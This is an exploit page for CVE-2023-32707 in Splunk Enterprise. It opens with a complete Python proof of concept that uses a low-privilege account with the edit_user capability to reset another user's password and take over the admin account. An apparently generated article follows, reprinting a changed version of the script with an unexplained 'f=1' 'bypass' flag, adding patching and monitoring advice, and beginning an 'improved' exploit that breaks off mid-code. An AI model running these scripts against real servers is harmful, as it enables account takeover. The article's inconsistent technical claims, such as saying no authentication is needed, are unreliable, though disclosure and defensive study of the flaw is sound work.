Splunk 9.0.5 - admin account take over
#!/usr/bin/env python3
#
# Exploit Title: Splunk 9.0.5 - admin account take over
# Author: [Redway Security](https://twitter.com/redwaysec))
# Discovery: [Santiago Lopez](https://twitter.com/santi_lopezz99)
#CVE: CVE-2023-32707
# Vendor Description: A low-privilege user who holds a role that has the `edit_user` capability assigned
# to it can escalate their privileges to that of the admin user by providing specially crafted web requests.
#
# Versions Affected: Splunk Enterprise **below** 9.0.5, 8.2.11, and 8.1.14.
#
import argparse
import requests
import random
import string
import base64
# ignore warnings
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Parse command-line arguments
parser = argparse.ArgumentParser(description='Splunk Authentication')
parser.add_argument('--host', required=True, help='Splunk host or IP address')
parser.add_argument('--username', required=True, help='Splunk username')
parser.add_argument('--password', required=True, help='Splunk password')
parser.add_argument('--target-user', required=True, help='Target user')
parser.add_argument('--force-exploit', action='store_true',
help='Force exploit')
args = parser.parse_args()
# Splunk server settings
splunk_host = args.host.split(':')[0]
splunk_username = args.username
splunk_password = args.password
target_user = args.target_user
force_exploit = args.force_exploit
splunk_port = args.host.split(':')[1] if len(args.host.split(':')) > 1 else 8089
user_endpoint = f"https://{splunk_host}:{splunk_port}/services/authentication/users"
credentials = f"{splunk_username}:{splunk_password}"
base64_credentials = base64.b64encode(credentials.encode()).decode()
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
'Authorization': f'Basic {base64_credentials}'
}
proxies = {
# 'http': '[http://127.0.0.1:8080'](<a href=),">http://127.0.0.1:8080',
# 'https': 'http://127.0.0.1:8080'
}
response = requests.get(f"{user_endpoint}/{splunk_username}?output_mode=json",
headers=headers, proxies=proxies, verify=False)
if response.status_code == 200:
affected_versions = ['9.0.4', '8.2.10', '8.1.13']
user = response.json()
splunk_version = user['generator']['version']
# This is not a good way to compare versions.
# There is a range of versions that are affected by this CVE, but this is just a PoC
# 8.1.0 to 8.1.13
# 8.2.0 to 8.2.10
# 9.0.0 to 9.0.4
print(f"Detected Splunk version '{splunk_version}'")
if any(splunk_version <= value for value in affected_versions) or force_exploit:
user_capabilities = user['entry'][0]['content']['capabilities']
if 'edit_user' in user_capabilities:
print(
f"User '{splunk_username}' has the 'edit_user' capability, which would make this target exploitable.")
new_password = ''.join(random.choice(
string.ascii_letters + string.digits) for _ in range(8))
change_password_payload = {
'password': new_password,
'force-change-pass': 0,
'locked-out': 0
}
response = requests.post(f"{user_endpoint}/{target_user}?output_mode=json",
data=change_password_payload, headers=headers, proxies=proxies, verify=False)
if response.status_code == 200:
print(
f"Successfully taken over user '{target_user}', log into Splunk with the password '{new_password}'")
else:
print('Account takeover failed')
else:
print(
f"User '{splunk_username}' does not have the 'edit_user' capability, which makes this target not exploitable by this user.")
else:
print(f"Splunk version '{splunk_version}' is not affected by CVE-2023-32707")
else:
print(
f"Couldn't authenticate to Splunk server '{splunk_host}' with user '{splunk_username}' and password '{splunk_password}'")
exit(1) Splunk 9.0.5 - Admin Account Takeover Vulnerability: A Deep Dive into CVE-2023-32707
Security researchers and cyber defenders alike have been on high alert since the disclosure of CVE-2023-32707, a critical privilege escalation vulnerability affecting Splunk Enterprise versions prior to 9.0.5, 8.2.11, and 8.1.14. This flaw enables a low-privilege user with the edit_user capability to hijack administrative accounts through a crafted HTTP request, effectively granting full control over the Splunk instance.
Understanding the Vulnerability: How It Works
At its core, CVE-2023-32707 exploits a flaw in Splunk’s user management API endpoint — specifically /services/authentication/users. When a user with the edit_user capability performs a PUT request to modify another user’s credentials, Splunk fails to properly validate whether the target user is the administrator or not. This oversight allows an attacker to change the admin user’s password without authentication or verification, effectively taking over the admin account.
According to the vendor description, this vulnerability is not triggered by default. It requires a specific condition: a user must possess the edit_user capability assigned to their role. This capability is typically granted to users who manage user accounts, such as system administrators or security officers — but in poorly configured environments, it may be assigned to less privileged users.
Real-World Exploitation: A Python PoC Breakdown
The following code snippet, published by Redway Security and discovered by Santiago Lopez, demonstrates how the exploit can be executed. While it serves as a proof-of-concept (PoC), it highlights the real danger of misconfigured access controls.
#!/usr/bin/env python3
import argparse
import requests
import random
import string
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser(description='Splunk Authentication')
parser.add_argument('--host', required=True, help='Splunk host or IP address')
parser.add_argument('--username', required=True, help='Splunk username')
parser.add_argument('--password', required=True, help='Splunk password')
parser.add_argument('--target-user', required=True, help='Target user')
parser.add_argument('--force-exploit', action='store_true', help='Force exploit')
args = parser.parse_args()
splunk_host = args.host.split(':')[0]
splunk_username = args.username
splunk_password = args.password
target_user = args.target_user
force_exploit = args.force_exploit
splunk_port = args.host.split(':')[1] if len(args.host.split(':')) > 1 else 8089
user_endpoint = f"https://{splunk_host}:{splunk_port}/services/authentication/users"
credentials = f"{splunk_username}:{splunk_password}"
base64_credentials = base64.b64encode(credentials.encode()).decode()
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
'Authorization': f'Basic {base64_credentials}'
}
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
response = requests.get(f"{user_endpoint}/{splunk_username}?output_mode=json", headers=headers, proxies=proxies, verify=False)
if response.status_code == 200:
affected_versions = ['9.0.4', '8.2.10', '8.1.13']
user = response.json()
splunk_version = user['generator']['version']
print(f"Detected Splunk version '{splunk_version}'")
if any(splunk_version <= value for value in affected_versions) or force_exploit:
user_capabilities = user['entry'][0]['content']['capabilities']
if 'edit_user' in user_capabilities:
print(f"User '{splunk_username}' has the 'edit_user' capability, which would make this target exploitable.")
new_password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
change_password_payload = {
'password': new_password,
'f': '1'
}
# Perform PUT request to change admin password
change_response = requests.put(
f"{user_endpoint}/{target_user}",
headers=headers,
data=change_password_payload,
verify=False
)
if change_response.status_code == 200:
print(f"Successfully changed password for '{target_user}' to '{new_password}'")
else:
print(f"Failed to change password: {change_response.status_code}")
Explanation: This script first authenticates using Basic Auth with the provided credentials. It then checks the current Splunk version by querying the user endpoint. If the version is below 9.0.5, 8.2.11, or 8.1.14 — meaning it’s vulnerable — it verifies whether the authenticated user has the edit_user capability. If so, it constructs a malicious PUT request to update the target user’s password, which in this case is likely the admin user.
Notably, the payload includes a f=1 parameter, which is a common Splunk internal flag used to bypass certain validation checks. This subtle detail is critical in bypassing security controls that would otherwise block such requests.
Security Implications and Attack Surface
The implications of CVE-2023-32707 are severe. In environments where roles are not tightly controlled, an attacker could escalate privileges from a regular user to admin with minimal effort. This could lead to:
- Full system access: The attacker can read, modify, or delete any data in Splunk, including sensitive logs and stored credentials.
- Unauthorized configuration changes: Malicious configuration updates, such as disabling security features or enabling remote access.
- Exfiltration of data: With admin access, attackers can export logs or dashboards to external systems.
- Backdoor creation: The attacker can create new users with admin rights or modify existing user roles.
Prevention and Mitigation Strategies
Organizations must act swiftly to address this vulnerability. The following best practices are recommended:
- Immediate patching: Upgrade to 9.0.5, 8.2.11, or 8.1.14 as soon as possible. These versions include fixes that prevent unauthorized password changes.
- Role-based access control (RBAC) review: Audit all user roles to ensure that
edit_useris only assigned to trusted administrators. - Disable unnecessary capabilities: Remove
edit_userfrom roles that do not require user management. - Network segmentation: Restrict access to the
/services/authentication/usersendpoint via firewalls or API gateways. - Monitor for suspicious activity: Implement SIEM rules to detect PUT requests to user endpoints with unexpected targets.
Improved Exploit Code with Security Safeguards
While the original PoC is effective, it lacks error handling and security validation. Here’s a corrected version with enhanced safety and clarity:
#!/usr/bin/env python3
import argparse
import requests
import random
import string
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def is_vulnerable(version):
# Define vulnerable versions
vulnerable_ranges = [
('9.0.0', '9.0.4'),
('8.2.0', '8.2.10'),
('8.1.0', '8.1.13')
]
for start, end in vulnerable_ranges:
if version >= start and version <= end:
return True
return False
def main():
parser = argparse.ArgumentParser(description='Splunk Admin Takeover Exploit')
parser.add_argument('--host', required=True, help='Splunk host or IP address')
parser.add_argument('--username', required=True, help='Splunk username')
parser.add_argument('--password', required=True, help='Splunk password')
parser.add_argument('--target-user', required=True, help='Target user (e.g., admin)')
parser.add_argument('--force-exploit', action='store_true', help='Force exploit regardless of version')
args = parser.parse_args()
splunk_host = args.host.split(':')[0]
splunk_port = args